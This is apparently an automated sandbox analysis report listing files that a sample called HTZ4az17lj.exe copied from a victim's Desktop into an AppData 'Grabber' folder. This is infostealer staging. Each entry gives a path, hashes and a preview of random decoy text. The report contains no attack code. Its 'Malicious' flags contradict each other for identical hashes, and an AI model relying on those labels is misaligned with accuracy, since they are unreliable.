Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\PIVFAGEAAV.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	true
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\SQSJKEBWDT.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	true
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT\EFOYFBOLXA.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT\ZGGKNSUKOP.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	true
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
